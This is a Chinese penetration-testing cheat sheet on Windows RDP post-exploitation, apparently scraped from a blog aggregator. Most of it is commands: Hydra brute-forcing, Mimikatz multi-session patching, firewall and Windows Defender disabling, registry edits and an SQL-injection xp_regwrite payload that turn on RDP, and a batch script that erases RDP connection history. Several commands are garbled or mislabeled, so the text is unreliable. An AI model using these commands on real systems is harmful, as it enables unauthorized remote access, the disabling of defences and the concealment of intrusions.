当前位置: 首页 > news >正文

WEB渗透Win提权篇-RDPFirewall

渗透测试60w字全套md笔记:夸克网盘分享

爆破RDP

Hydra爆破RDP

>hydra -l admin -P /root/Desktop/passwords -S 192.168.0.0 rdp

Nlbrute

image

MSF开启

>run post/windows/manage/enable_rdp

多用户登陆

Mimikatz设置允许多用户登录

>privilege::debug
>ts::multirdp

rdpwrap GitHub - stascorp/rdpwrap: RDP Wrapper Library

>RDPWInst.exe -i is

RDP连接记录

https://github.com/3gstudent/List-RDP-Connections-History

查看本机用户连接RDP的记录

image

>Psloggedon.exe username

image

防火墙

netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable netsh firewall set opmode disable 关闭防火墙 netsh firewall set opmode mode=disable

放行远程8888端口进来的流量 netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow

放行出去到远程8888端口的流量 netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow

放行本地4444端口出去的流量 netsh advfirewall firewall add rule name="44" protocol=TCP dir=out localport=4444 action=allow

放行从本地4444端口进来的流量 netsh advfirewall firewall add rule name="44" protocol=TCP dir=in localport=4444 action=allow

删除规则 netsh advfirewall firewall delete rule name="88"

查看防火墙配置(可看到具体规则等配置) netsh firewall show config

允许进站 如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow netsh firewall set portopening TCP 3389 ENABLE

防火墙关闭

netsh firewall set opmode mode=disable netsh advfirewall show allprofiles查看状态 netsh advfirewall set allprofiles state off sc stop windefend sc delete windefend PS> Set-MpPreference -DisableRealtimeMonitoring 1 PS> Set-MpPreference -Disablearchivescanning $true

IP白名单

New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress 10.10.10.10

列出防火墙的阻止端口

f=New−object−comObjectHNetCfg.FwPolicy2;f=New-object -comObject HNetCfg.FwPolicy2;f=New−object−comObjectHNetCfg.FwPolicy2;f.rules | where {$_.action -eq "0"} | select name,applicationname,localports

禁用防火墙

在 Windows 7 上通过 cmd 禁用防火墙 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

在 Windows 7 上通过 Powershell 禁用防火墙 powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`

通过 cmd 在任何windows上禁用防火墙 netsh firewall set opmode disable netsh Advfirewall set allprofiles state off

注册表开启

查询系统是否允许3389远程连接:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 1表示关闭,0表示开启

查看远程连接的端口:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

本机开启3389远程连接的方法

通过cmd

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

通过reg文件 内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] "PortNumber"=dword:00000d3d

导入注册表: regedit /s a.reg

注入点开启

.asp?id=100;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

注: 修改连接端口重启后生效

wmic开启

>wmic /node:192.168.1.2 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

删除痕迹

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp

以上保存bat文件执行

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【HuggingFace Transformers】BertSelfOutput 和 BertOutput源码解析
  • ARM——驱动——内核编译
  • zdppy+vue3+onlyoffice文档管理系统实战 20240825上课笔记 zdppy_cache框架增加resize清理缓存的方法
  • javascript(js)入门指南
  • 【Android】Android Studio中利用git进行协同开发
  • 杰发科技AC7840——CAN通信简介(8)_通过波特率和时钟计算SEG_1/SEG_2/SJW/PRESC
  • 淘客系统源码的架构分析
  • 徐州服务器租用:高防服务器的用途有哪些?
  • 在 MyBatis 中进行一对多的连表子查询
  • thinkphp8 定时任务 addOption
  • leetcode 数组+哈希+双指针+子串+滑动窗口
  • 网络安全 DVWA通关指南 DVWA File Upload(文件上传)
  • 华为手机换ip地址怎么换?手机换ip地址有什么影响
  • 前端宝典十八:高频算法排序之冒泡、插入、选择、归并和快速
  • 利用网络爬虫获取数据的刑事责任分析
  • angular学习第一篇-----环境搭建
  • css布局,左右固定中间自适应实现
  • markdown编辑器简评
  • PHP面试之三:MySQL数据库
  • SSH 免密登录
  • 创建一种深思熟虑的文化
  • 对超线程几个不同角度的解释
  • 分布式任务队列Celery
  • 技术胖1-4季视频复习— (看视频笔记)
  • 力扣(LeetCode)21
  • 如何用vue打造一个移动端音乐播放器
  • 适配mpvue平台的的微信小程序日历组件mpvue-calendar
  • 说说动画卡顿的解决方案
  • 《码出高效》学习笔记与书中错误记录
  • 好程序员大数据教程Hadoop全分布安装(非HA)
  • ​一文看懂数据清洗:缺失值、异常值和重复值的处理
  • #Linux(Source Insight安装及工程建立)
  • #pragma预处理命令
  • #图像处理
  • #周末课堂# 【Linux + JVM + Mysql高级性能优化班】(火热报名中~~~)
  • (11)工业界推荐系统-小红书推荐场景及内部实践【粗排三塔模型】
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (poj1.3.2)1791(构造法模拟)
  • (算法)Game
  • (已解决)Bootstrap精美弹出框模态框modal,实现js向modal传递数据
  • (转)shell中括号的特殊用法 linux if多条件判断
  • (转)Sublime Text3配置Lua运行环境
  • (转)创业的注意事项
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • **PHP分步表单提交思路(分页表单提交)
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .net 无限分类
  • .NET和.COM和.CN域名区别
  • .Net开发笔记(二十)创建一个需要授权的第三方组件
  • .NET之C#编程:懒汉模式的终结,单例模式的正确打开方式
  • ?.的用法
  • @ 代码随想录算法训练营第8周(C语言)|Day53(动态规划)
  • @PreAuthorize注解
  • @vue/cli 3.x+引入jQuery
  • [ vulhub漏洞复现篇 ] Celery <4.0 Redis未授权访问+Pickle反序列化利用